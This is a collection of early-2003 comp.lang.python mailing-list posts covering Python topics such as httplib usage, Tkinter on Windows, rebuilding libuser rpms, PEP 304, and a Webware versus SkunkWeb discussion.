80% is gobbledygook we make up inside our own heads.




From ny_r_marquez at yahoo.com  Mon Jan  6 10:09:51 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 6 Jan 2003 07:09:51 -0800
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com> <8a27e309.0301030818.2f40c47@posting.google.com> <2dd4va.5m03.ln@boundary.tundraware.com>
Message-ID: <8a27e309.0301060709.1849a5e1@posting.google.com>

Tim Daneliuk <tundra at tundraware.com> wrote in message news:<2dd4va.5m03.ln at boundary.tundraware.com>...

> It sort of bugs
> me that I have to distribute 100s of K or even Megs of files to
> run a 55K script ... ;)

I think that the trend is for developers to worry less and less about
having to squeeze apps down to the size of a floppy.  You probably
have noticed that many computers do not even come with a floppy drive
any more.  Certainly, hard drive space is not an issue any more (I see
adds for hard disks that cost $1 per Gigabite :).  CD-R's and CR-RW's
are also more and more prevalent, and cheap.  So, no need to feel too
guilty if your high quality, very maintainable app is a little bigger
than the norm used to be.  At worst, people may have to download your
app at work, where brad band connections are more and more prevalent,
burn it into a CD, (during lunch, of course :) and bring it home from
there.

-Ruben



From kosh at aesaeion.com  Tue Jan 21 02:07:54 2003
From: kosh at aesaeion.com (kosh at aesaeion.com)
Date: Tue, 21 Jan 2003 00:07:54 -0700 (MST)
Subject: Python web development, really
In-Reply-To: <v2p1de5pghue49@corp.supernews.com>
Message-ID: <Pine.LNX.4.44.0301210006460.16439-100000@aesaeion.com>

On Mon, 20 Jan 2003, Cameron Laird wrote:

> In article <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>,
> Afanasiy  <abelikov72 at hotmail.com> wrote:
> > 		.
> > 		.
> ?  I'm having parse difficulties.  Are you saying you used
> Zope through Roxen CGI, and found the performance of *that*
> combination inadequate?  I guess that's not much of a surprise
> ...  Roxen's a speed demon if you use its native scripting,
> and there are also faster Zope architectures than CGI.
> --

Agree I find that CGI with zope is a HUGE performance hit. 50% or more in
most cases since it doesn't handle multiple connections at the same time
very well anymore. Need to use something like mod_proxy with apache or
mod_rewrite in proxy mode if you want it to run fast that way.





From mwm at mired.org  Tue Jan  7 23:16:42 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 04:16:42 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org> <52719db8.0301071950.33e1917e@posting.google.com>
Message-ID: <x7wulgwa1g.fsf@guru.mired.org>

judoscript at hotmail.com (James Huang) writes:

> > > Have you ever thought about scripting more areas, such
> > > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > > script OS commands, all at once? Think about it!
> > I have. I've written in it. It's called Rexx. Where JudoScript is as
> > much a multi-target scripting langauge as this article is novel, Rexx
> > is the real McCoy.
> Admittedly I'm no Rexx person.

In that case, you've missed the first true multitarget scripting
language, and it's only been around for 20 years now. I'd say you
failed to check on prior work properly.

> Please see the examples in other replies. Thanks.

I only saw two. One looked like a fancy shell script. The other looked
like a fancy sendmail script. I've never run into a sendmail that was
enabled for Rexx, so the point is sort of moot.

As others have mentioned, you can do this kind of thing with VBA. On
Unix, you can do it with CORBA. The real measure of the power of this
approach is how many applications will support what you're doing.

The magic of (A)Rexx was that adding a simple interface to any
application that supported a command line interface was trivial, and
instantly gave you the ability to script the application with a
full-blown programming language. Making the application a server and
allowing things to connect to it was harder, but so useful that many
applications did it.

For instance, you talk about scripting in SQL. How many databases does
it work with, and which ones? Of course, that's a bad example, because
if I have to write SQL, then I'm not scripting, I'm programming.

How hard is it to add judoscript support to a random application, and
how much overhead does it add? Do I have to embed a java vm in the
thing to use it? What advantage does it give me over doing a CORBA
interface - see <URL: http://www.mired.org/home/mwm/scripting/ > for a
bit on that - to make up for the loss of the ability to write scripts
in any language with CORBA support? On Windows, you get to do the same
comparison with ActiveX or whatever MS is calling their distributed
object technology this month.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From bmorgan at usa.net  Tue Jan 21 18:28:11 2003
From: bmorgan at usa.net (Byron Morgan)
Date: 21 Jan 2003 15:28:11 -0800
Subject: Sending text messages to mobiles
Message-ID: <85c78d18.0301211528.19e6cf09@posting.google.com>

I am a Python newbie, building a Python app that monitors live data,
sending event-driven notifications to cellphones, pagers, email,
instant message clients. I have found and used Py-TOC, a clean
implementation of AOL's AIM services.

My Question:
Has anyone done an interface to Yahoo! Messenger? I am particularly
interested because Yahoo! provides an easy cellular text messaging
gateway.

TIA
Byron Morgan



From max at alcyone.com  Mon Jan 13 01:44:44 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 22:44:44 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com> <slrnb1tj4l.k1r.rmunn@rmunnlfs.dyndns.org>
Message-ID: <3E22605C.3E4B4E18@alcyone.com>

Robin Munn wrote:

> If you're dependent on a particular version of Python, then it makes
> the
> most sense to simply check sys.version_info as soon as possible, and
> exit gracefully with an appropriate error message, e.g.:
> 
>     import sys
> 
>     if sys.version_info < (2,2):    # Require at least Python 2.2

Neglecting you meant >= and not < here, it's worth pointing out that
sys.version_info itself only first made an appearance in version 2.0. 
Even sys.hexversion was only introduced in 1.5.2.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nothing is so good it lasts eternally
\__/ Florence, _Chess_
    Max Pandaemonium / http://www.maxpandaemonium.com/
 A sampling of Max Pandameonium's music.



From mis6 at pitt.edu  Sun Jan  5 13:11:01 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 5 Jan 2003 10:11:01 -0800
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org>
Message-ID: <2259b0e2.0301051011.5ba2ff3e@posting.google.com>

On Sat, 2003-01-04 at 11:05, Laura Creighton wrote:

> I don't think that dividing 'csc == software' and 'engineering ==
> hardware' is the best possible way to distinguish between them.  A
> more useful question, I believe, is 'do you hunger to build things, or
> just to think about them'?  (Some people do both about equally, of
> course.)  The distinction is important for people who are considering
> getting a degree in computer science.  Some of them do quite badly at
> it because what they want is a degree that will help them build the
> programs they dream of creating, and instead they are persuing a
> degree that will help them think about thoughts they have no interest
> in thinking. This is a very bad fit.

<snip>

>  my life would have run an awful lot easier if I had understood
>  when accepted to both Science and Engineering schools, that the fact
>  that I like building things was significant.  I suppose I was expected
>  to figure this one out for myself, but I didn't ...

Laura, are you saying that engineering types like building things more
than CS types ? This sounds like a surprise to me. I mean, I don't know
about CS types since I never had a CS education, nevertheless I know
very well the academic type in Mathematics or Physics (I am part of this
"mala genia" :) and I think there is not such a big difference.

I did Physics because I like to build things. I did not choose engineering
because I had the impression (maybe wrong) that once you work in the industry,
as opposite to academy, you have to build ininteresting things or, in
other words, you have to solve boring problems. For me, a problem is boring 
when I know how to solve it. Since I don't like to build twice the same thing I
tried to avoid the industry until now and I have no problems with the academia
(except, of course in finding a permanent position :-/).

In my view the difference between CS types and engineering types is not 
if they like to build things or think about things (you would admit that
even an engineer can think about things ;-). The difference is if you like 
abstractions and out-of-the-world concepts or if you prefer *concrete* things.
If you are more concrete, you are more likely an engineering type, if you
are more theoretical, you are more likely a CS type.

Of course the notion of "concreteness" depends on your background and
experience. For instance, to me metaclasses are rather concrete and very 
little abstract, if I compare them with the conceptual tools I routinely
use. But I am sure for the average programmer they are a rather abstract 
concept.

Now, if I may ask a personal question, what you didn't like in science/academia ?



From Ken at perfect-image.com  Wed Jan 22 21:47:07 2003
From: Ken at perfect-image.com (Kenneth Godee)
Date: Wed, 22 Jan 2003 19:47:07 -0700
Subject: Problem: Need help!!  - thanks
In-Reply-To: <002f01c2c268$b1f3afc0$0400a8c0@newtackldap>
References: <002f01c2c268$b1f3afc0$0400a8c0@newtackldap>
Message-ID: <20030122194707.34ebb2bc.Ken@perfect-image.com>

You need to get your hands on the source rpm "libuser" and rebuld using
your current installed python. I take it you upgraded python from the stock
2.2.

"rpm --rebuild libuser-0.50.2-1.src.rpm" this the same version of libuser
already installed, there's no new version.

then rpm -U --force install the rpm.

While your at it, try running your pygtk demos, if you have them.
Ooops, same kind of problem.
Do a rebuild on pygtk2-1.99.8-7.src.rpm as well.
If you need the src.rpm's let me know I'll email'em to you.




On Wed, 22 Jan 2003 17:50:43 -0500
"ron-breon" <ron-breon at stny.rr.com> wrote:

> I received the following message when invoking redhat-config-users (User Manager)..
> 
> I am running RedHat Linux 7.3 and keep up with all the updates...
> 
>  I tried to run User Manager and received the following messages and User
>  Manager no longer works and I can't find out what is wrong... Any
>  Ideas??
> 
>  Messages:
> 
>  file "/usr/share/redhat-config-users/redhat-config-users.py". line 25, in ? import libuser
>  ImportError: /usr/lib/python2.2/site-packages/libusermodule.so: undefiined symbol: PyUnicodeUCS4_AsUTF8String
> 
> Sent note to python-list based on the following respnse.. thanks Brentt C.




From mwm at mired.org  Tue Jan  7 23:40:46 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 04:40:46 GMT
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <MRLN2891445009@merlin.envox.local.hr> <vbNS9.484037$GR5.191947@rwcrnsc51.ops.asp.att.net>
Message-ID: <x7of6sw8xb.fsf@guru.mired.org>

Travis Beaty <t_beaty at mchsi.com> writes:
> I just eyeballed the Eiffel web site.  Eiffel Studio is only $8000.  I
> was sort of interested, until I happened to come across the price, at
> which point my mouse started to tingle.
> 
> 
> I suppose the free version would be okay, but are GPL'ed apps
> considered "non-commercial"?  If not, there would be no sense in my
> delving seriously into their free version if I can't release anything,
> and even when I do get to that point, it would take just long enough
> to save up $8000 that by the time I sent off the money order, the
> price would be $16,000.  LOL

You really should ask this on c.l.eiffel. But there are open source
apps around that compile with eiffel studio, so I assume that GPL'ed
apps are non-commercial. Of course, to be sure, you can ask them.

Personally, I use SmartEiffel. It's free, and comes with full
source. It even has a DICTIONARY class that's almost as fast as
Pythons. The commercial Eiffels don't run on BSD-based systems, even
under Unix emulation. Since they don't give me source, I can't try and
fix them :-(.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From exarkun at intarweb.us  Wed Jan 15 00:28:39 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 15 Jan 2003 00:28:39 -0500
Subject: Explicit Frustration of the Self
In-Reply-To: <5.1.0.14.0.20030108204007.00bb5bd8@mail.softhome.net>
References: <5.1.0.14.0.20030108204007.00bb5bd8@mail.softhome.net>
Message-ID: <20030115052839.GA9151@meson.dyndns.org>

On Wed, Jan 08, 2003 at 08:40:11PM -0400, Andres Rosado wrote:
> On 04:56 AM 1/4/2003 -0500, the keyboard of python-list-request at python.org 
> emitted:
> >Another thought: how OO is Python?  It allows me to create Objects, I
> >guess.  But do these objects really have methods?  I don't think so.
> > [snip]
> 
> That's actually how C++ handles classes too.
> [snip]

  This might be a valid rebuttle if C++ were an OO language.

  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
--
 12:00am up 30 days, 9:47, 3 users, load average: 0.39, 0.25, 0.25
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030115/43f746ce/attachment.sig>

From mpowell at NOSPAM.osprey.net  Mon Jan 20 22:58:58 2003
From: mpowell at NOSPAM.osprey.net (Franoculator)
Date: Tue, 21 Jan 2003 03:58:58 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com> <g3luf-eoq.ln1@elstinko.registrado.network.es> <KH2X9.19092$FY4.744@news1.central.cox.net> <q6ruf-q8s.ln1@elstinko.registrado.network.es>
Message-ID: <6A3X9.19113$FY4.8631@news1.central.cox.net>

On Tue, 21 Jan 2003 at 03:25 GMT, Sinister Midget
spilled his alphabet soup on the floor, and the letters spelled:
> On Tue, 21 Jan 2003 02:58:50 GMT, mpowell at NOSPAM.osprey.net drooled and scribbled:
>> On Tue, 21 Jan 2003 at 01:41 GMT, Sinister Midget
>> spilled his alphabet soup on the floor, and the letters spelled:
>>> On Mon, 20 Jan 2003 21:17:01 GMT, dipthotdipthot at yahoo.yahoo.com.com drooled and scribbled:
>>>> In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
>>>> Midget <xunil at kc-rr.com> wrote:
>>>> 
>>>>> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
>>>>> scribbled:
>>>>> 
>>>>> 
>>>>> 
>>>>> 
>>>>> 
>>>>> And good ones, too!
>>>> 
>>>> Yeah, but
>>>> 
>>>> 
>>>> 
>>>> totally sucks ass.
>>> 
>>> I only messed with it once. I didn't think it was so bad, but I might
>>> not have used it enough to get a valid opinion.
>>> 
>>> My favorite one was
>>> 
>>>
>>>
>> 
>> You're a sicko.  Why would you use
>> 
>> 
>> 
>> 
>> When you could use
>> 
>> 
>> 
>> 
>> 
>> 
>> 
> 
> I liked that one, too. But sometimes you're in a pinch and gotta use
> the best at hand!
> 
> At least I didn't try using
> 
> 
> Even WJBell would know better than that!! I think.

Maybe we should





now

-- 
Matt
oops, I busted my damn sig...again



From phr-n2002b at NOSPAMnightsong.com  Thu Jan 16 01:22:00 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 22:22:00 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz> <OASU9.131402$Hs2.11990469@kent.svc.tds.net> <7xbs2k3pwp.fsf@ruckus.brouhaha.com> <mailman.1042560328.23078.python-list@python.org>
Message-ID: <7x1y3dehrr.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> This leads to high-level descriptions of low-level
> fields of all structures.
> These field descriptors will be the objects which
> are modified from the Python code.
> Example:
> An integer field in a structure describing a Python
> frame, for instance f_lineno, is not a regular
> integer object, but is accessed via a descriptor
> which tells that this is a fixed sized integer field
> which does not overflow....
> This simple principle would even work without
> all of Psyco's sophistication, which makes me
> so confident that this project will have a great
> result, even when compiling statically.

Do you have some other examples that really get used often?  I'd think
f_lineno's don't get used that often.

Will you give some thought to going to a tagged representation of
object references, and maybe a more traditional GC?  That way you
avoid a lot of memory traffic, and also don't have to adjust reference
counts every time you touch anything.

I think these would give a big performance boost, and also would also
simplify the C API.  It might be possible to supply a compatibility
layer to make the old C API still useable.



From pythonhda at yahoo.com.replacepythonwithlinux  Mon Jan  6 22:03:21 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Mon, 6 Jan 2003 22:03:21 -0500
Subject: httplib won't accept URL with parameters (???)
References: <avcvi1$5av$03$1@news.t-online.com>
Message-ID: <20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>

See the code changes below...


On Mon, 06 Jan 2003 23:28:09 +0100
Phillip <ritschratsch at gmx.de> wrote:

> I've got some serious httplib Problem. Here's the relevant code:
> 
> USER_AGENT = "Navigator" # We have to give something, don't we?
> 
> class ServerGet:
> 
> 	def __init__(self, host):
> 		self.host = host
> 	def fetch(self, path):
> 		http = httplib.HTTP(self.host)
> 
> 		#write header
> 		http.putrequest("GET", path)
> 		http.putheader("User-Agent", USER_AGENT)
> 		http.putheader("Host", self.host)
> 		http.putheader("Accept", "*/*")
> 		http.endheaders()
> 
> 		# get response
> 		errcode, errmsg, headers = http.getreply()
> 
> 
> 		file = http.getfile()
 		data = file.read() ####
		http.close()       ####
		return data        ####


> 
> CompareServer = ServerGet("www.server.com")
> ComparePage = 
> CompareServer.fetch("/grab/database/get-page/link=ddb_benutzt_a/00b-97rt692-8ab6561?view=fixed-thing&field-stuff-type=used&thing-number=3897211920&field-status=open&size=25&rank=+parameter")
> # long URL, I know....
> print ComparePage
> 
> The Problem is that CompareServer.fetch won't return anything(!!) I 
> presume it has something to do with the fact that the URL that is passed 
> on has a tail of parameters trailing and that httplib won't accept this.
> Does anyone know how I can get this to work? Is it a 'GET' problem?
> Note that httplib work perfect with the usual URLs that only have 
> slashes in them.
> What's the big fuss? Why doesn't ServerGet return something with that 
> URL? Any clue?
> Thanks for all help in advance.
> 
> Phillip
> 



From johnochiltree at blueyonder.co.uk  Thu Jan 30 04:39:21 2003
From: johnochiltree at blueyonder.co.uk (John Ochiltree)
Date: Thu, 30 Jan 2003 09:39:21 +0000
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk> <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net> <vF2_9.1077$7S2.519@news-binary.blueyonder.co.uk> <tJ5_9.4299$wd2.324183@newsread2.prod.itd.earthlink.net>
Message-ID: <fp6_9.1792$7S2.660@news-binary.blueyonder.co.uk>

Brandon Van Every wrote:

> John Ochiltree wrote:
>>
>> Why do you bother to use c++ as you obviously don't care about reuse.
>> Patterns these days are essential to OO
> 
> You need to realize that there can be OO and reuse without the "Patterns"
> appearing in books like "Design Patterns."  That book has absolutely
> nothing of use to me on a day-to-day basis.
> 
> If you want to say that I use "mathematical patterns," fine.  But I choose
> to avoid the term "pattern" because it already has a common meaning to OO
> people.  And personally, I don't think there would be much point listing
> out
> a whole pile of common "mathematical patterns."  There are so many of
> them! Math has an interesting property: there are lotsa ways to compute
> the same
> thing.  No point wrapping it up in the One True Pattern, you just have to
> know how to do math.
> 
> Quite simply, we had functions and methods and classes and OO long before
> we had patterns.
> 
> --
> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.

You seem to be suggesting that when you discover a problem to be solved you 
approach it from mathematical first principles? And what sort of 
mathematical pattern could be useful in implementing a singleton for 
instance (leaving aside the obvious distinction required between none and 
unity)? Or the notion of the decorator, or abstract factory or just about 
any common day to day programming problem? You also appear to think that 
patterns provide some sort of direct solution. Implementation is mostly not 
supplied (esp. in GoF) and you have to implement the pattern in whatever 
language you're working in. The solution that a pattern provides is at the 
design level, probably best illustrated by the UML's class and sequence 
diagrams (amongst others). Or perhaps you have an aversion to acyclic 
graphs as well?

John



From AndersonJ01 at aol.com  Wed Jan 29 17:56:26 2003
From: AndersonJ01 at aol.com (Justin Martin Anderson)
Date: Wed, 29 Jan 2003 17:56:26 -0500
Subject: Join
Message-ID: <3E385C1A.7040209@aol.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/b9a0ebe3/attachment.html>

From brian at sweetapp.com  Mon Jan 27 23:11:38 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Mon, 27 Jan 2003 20:11:38 -0800
Subject: String Methods Don't Change ID?
In-Reply-To: <889cbba0.0301271948.3c8843fc@posting.google.com>
Message-ID: <002701c2c683$5b0e6280$21795418@dell1700>

> Calling a method on a string SEEMS like it should modify the original,
> not create a new one, but I guess strings are 'special' all the way
> around.  

Strings are not any more special than numbers. When you write:

>>> (-5).__abs__()
5

I hope that you don't expect all of the -5s in the system to suddenly
become positive 5s :-)

Cheers,
Brian





From gerrit at nl.linux.org  Sun Jan  5 16:51:49 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 5 Jan 2003 22:51:49 +0100
Subject: [Tkinter] loading .jpg image?
In-Reply-To: <200301052106.h05L6hjL026434@ratthing-b246.strakt.com>
References: <20030105210433.GA19934@nl.linux.org> <200301052106.h05L6hjL026434@ratthing-b246.strakt.com>
Message-ID: <20030105215149.GA20423@nl.linux.org>

Laura Creighton schreef op zondag  5 januari om 22:08:58 +0000:
> You need the Python Imagin Library.
> PIL : http://www.pythonware.com/downloads/index.htm
> documentation here: http://www.pythonware.com/library/index.htm

Ah, thanks.
weird though that for something as simple as loading a .jpg one requires
an Imaging Library...

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From skip at pobox.com  Mon Jan 27 17:44:15 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 16:44:15 -0600
Subject: PEP 304 - Controlling generation of bytecode files
Message-ID: <15925.46655.439046.717944@montanaro.dyndns.org>

Your feedback is solicited on PEP 304, "Controlling generation of bytecode
files".  Briefly put, in some situations multiple competing processes may
attempt to write the same .pyc file at approximately the same time, possibly
yielding corrupted files.  In other situations you are reading from
read-only file systems or zip files and need some other place to write .pyc
files.  Finally, even if you can write to the default location, you may have
other, faster alternatives (local vs. network disk, disk vs. ram disk) where
you wish to write .pyc files.

You can find the pep here:

    http://www.python.org/dev/peps/pep-0304.html

I just (2003-01-27, 1630 US Central Time) checked in a minor change to the
document related to import hooks (version 1.4).  I don't know how frequently
the pep directory is updated, so you might have to wait awhile to get at it.

Skip




From sholden at holdenweb.com  Sun Jan 19 17:25:59 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 19 Jan 2003 22:25:59 GMT
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
References: <f57664b9.0301161552.5dff2038@posting.google.com> <mailman.1042827297.2914.python-list@python.org> <f57664b9.0301171934.58612fa@posting.google.com> <mailman.1042949555.10811.python-list@python.org>
Message-ID: <XBFW9.10615$bs2.9838@news2.central.cox.net>

"Cliff Wells" <clifford.wells at attbi.com> wrote org...
[...]
>  It seems I've lost my
> superpowers and will be forced to actually read posts before replying to
> them as I clearly can't rely on time-travel any more.  I'll probably
> have to start wearing my tinfoil hat again too.
>
> Sadly,
>

Are you coming to PyCon? I'd like to get a picture of you in that hat...

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From ebodine at hotmail.com  Wed Jan  8 14:59:57 2003
From: ebodine at hotmail.com (Erick)
Date: 8 Jan 2003 11:59:57 -0800
Subject: best python editor/ide for windows
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com> <mailman.1041977333.13900.python-list@python.org> <yyyr8bn4uxd.fsf@adams.patriot.net>
Message-ID: <2de245.0301081159.48e4c84@posting.google.com>

Nick Vargish <nav at adams.patriot.net> wrote in message news:<yyyr8bn4uxd.fsf at adams.patriot.net>...
> I'm quite partial to XEmacs under win32, it's one of the things I
> always install when I expect to be in front of a Windows machine for
> real work.
> 
> Nick
> 
> p.s. Please note my new pythonic signature. :^)

I am kind of partial to jEdit myself.  I know it is sometimes billed
as a Java code editor but it works great for Python, on Windows or
Linux.

--Erick



From ritschratsch at gmx.de  Sun Jan 12 20:50:30 2003
From: ritschratsch at gmx.de (Phillip)
Date: Mon, 13 Jan 2003 02:50:30 +0100
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <avt5l6$1b3$04$2@news.t-online.com>

Will Stuyvesant schrieb:
> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  I could not
> find much Python hosting, and none free (except a french one that I
> can not register into) for Python CGI scripts!  
>...
> As it is now I am afraid using Python for CGI is going to die a slow
> death if it is not dead already.  And **no**, I don't want to run a
> (CGI-)webserver myself (Twisted) or use Zope.  I want Python to become
> more popular, especially for CGI.  So you could expect your local ISP
> to be able to host your scripts.

www.puretec.de (German hoster) comes with Python by default.
Is there a puretec.fr? DUnno...

Phillip




From edlsoft at mindspring.com  Thu Jan  9 20:37:15 2003
From: edlsoft at mindspring.com (Burt Leavenworth)
Date: Fri, 10 Jan 2003 01:37:15 GMT
Subject: TKINTER glitch on 2.2.2
References: <3e1d7d02.108813@news1.news.adelphia.net> <1i7kva.4vo.ln@boundary.tundraware.com>
Message-ID: <3e1e22e0.12108310@news1.news.adelphia.net>

On 09 Jan 2003 16:30:07 GMT, Tim Daneliuk <tundra at tundraware.com>
wrote:

>Burt Leavenworth wrote:
>> I am upgrading from 1.5.2 to 2.2.2 but now my GUI applications which
>> work on 1.5.2 no longer work properly.
>> 
>> In particular, with the simplest possible widget, when I hit the close
>> button (x), the sytem hangs.
>> 
>> Any ideas?
>> 
>> Burt Leavenworth
>> edlsoft at adelphia.net
>
>Did you also upgrade to the latest Tkinter?

I ran the Windows installer: Python-2.2.2.exe and assume the latest
Tkinter was included.

>What is the OS platform?

Windows 98

>Could you show us the code that works on 1.5.2 but not on 2.2.2?

from Tkinter import *
import sys
win = Tk()
button = Button(win, text = 'Goodbye',command = sys.exit)
button.pack()
mainloop()

>
>-- 
>------------------------------------------------------------------------------
>Tim Daneliuk
>tundra at tundraware.com
>

There must be some dumb omission.

Burt



From ianb at colorstudy.com  Fri Jan 24 15:52:19 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 24 Jan 2003 14:52:19 -0600
Subject: Python web development, really
In-Reply-To: <87smvittss.fsf@bracknell.smullyan.org>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
	 <mailman.1043359063.30364.python-list@python.org>
	 <87smvittss.fsf@bracknell.smullyan.org>
Message-ID: <1043441539.18262.1219.camel@lothlorien>

On Fri, 2003-01-24 at 10:08, Jacob Smullyan wrote:
> Ian Bicking <ianb at colorstudy.com> writes:
> 
> > This data can be used for caching.  IMHO the convenience of this caching
> > makes increasing performance easier in Webware than, say, SkunkWeb
> > (which uses multiple processes, and so makes data sharing harder). 
> > SkunkWeb claims the multiple processes mean that it can better utilize
> > multi-processor systems because it is not pinned by the global
> > interpreter lock.  This is true, but there are many ways to increase
> > performance, and I believe easy data sharing and caching is more of a
> > benefit than multiple processors would be.  But anyway, I digress...
> 
> I'm a developer for SkunkWeb, and would make a different value
> judgement, although I have no factual disagreement with Mr. Bicking.
> I would agree that SkunkWeb's multiple-process design does not
> necesarrily translate into a performance advantage in all scenarios,
> and the published SkunkWeb propaganda may make too much of this design
> decision (although I think it was an important factor for the
> applications for which it was initially designed).  There is a cost to
> be paid in the heaviness of the application (which doesn't matter
> much) and the relative difficulty in doing some kinds of resource
> sharing that would be simpler or perhaps more efficient in a
> multi-threaded context.

I'm sorry, I was kind of randomly poking randomly at SkunkWeb, a product
for which I really have no antipathy.  But anyway...

I guess to me performance is something that can *always* be improved
through a huge number of different techniques.  The real limits come
from the amount of effort you can put into those techniques.  So
theoretical limits aren't as important as the ease of incremental
improvements.  There aren't any theoretical limits either, just limits
within certain bounds.  SkunkWeb posits a situation where there's
multiple processors, and the application is bound by Python's execution
speed, which is not that general of a situation.

> There are some pluses to a multi-process design beyond transcending
> the limitations of the global interpreter lock.  You never ever have
> to worry about thread sychronization in writing for SkunkWeb, which
> will make some developers' lives easier.  

I don't see this as a real advantage.  To the degree you share data and
resources you have to worry about concurrency issues.  You may tend to
share data more often with threads, and so have to worry about
concurrency issues more often, but that just mitigates the advantages of
sharing.  I don't think it makes multiple processes easier than threads.

Well, I suppose you can use globals in SkunkWeb in a way you couldn't in
Webware.  Perhaps it's because I've always avoided globals, or perhaps
because I've internalized Webware's model, but I don't really desire to
use globals except when they are truly "global", i.e., shared.

> You don't have to worry
> about crashing the whole application server.  It just fits with
> SkunkWeb's rather open, un-boxed-in aesthetic; it is an easy design to
> live with, for some folks.  Let's just say, without starting a
> religious war about threads (I'm agnostic!) that a multi-process
> alternative is nice to have.

Certainly there can be issues in a single-process model.  So far many of
them have come from buggy C modules, but there's other problems of
corruption as well.  I must admit I remain a little wary of letting the
Webware server sit for months at a time -- cruft may start filling up
the cache, or other problems so far unforeseen may occur.  This is a
problem that has always made me nervous of any stateful long-running
application, Webware included.

But I feel the problems are more connected with controlling persistence
then threads in particular.  The partitioning required for multiple
processes tends to formalize some of that persistence, and I think the
advantage is as much one of enforced discipline as it is a quality of
the underlying technique.

> As for caching, SkunkWeb is I believe very strong in this area, as it
> does have a very useful component cache, which stores component output
> on disk; and this cache can be controlled with considerable finesse,
> and furthermore with ease.  While access to a disk cache is not going
> to be as fast as access to memory, just as with the GIL lock issue,
> there are other ways of improving performance.  The convenience and
> controllability of the SkunkWeb cache is a huge advantage, as it can
> be utilized to the fullest with virtually no development effort.

That is a definite advantage of SkunkWeb which Webware does not share. 
We don't have any real abstract representation of the output in Webware
-- the output is almost opaque to the application server -- so it's not
clear where caching would go in.  Cheetah has some significant caching
features, if you use that.  Any caching done more directly in Webware is
usually from a pre-HTML perspective, caching calculated data and complex
objects, not necessarily the direct output.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
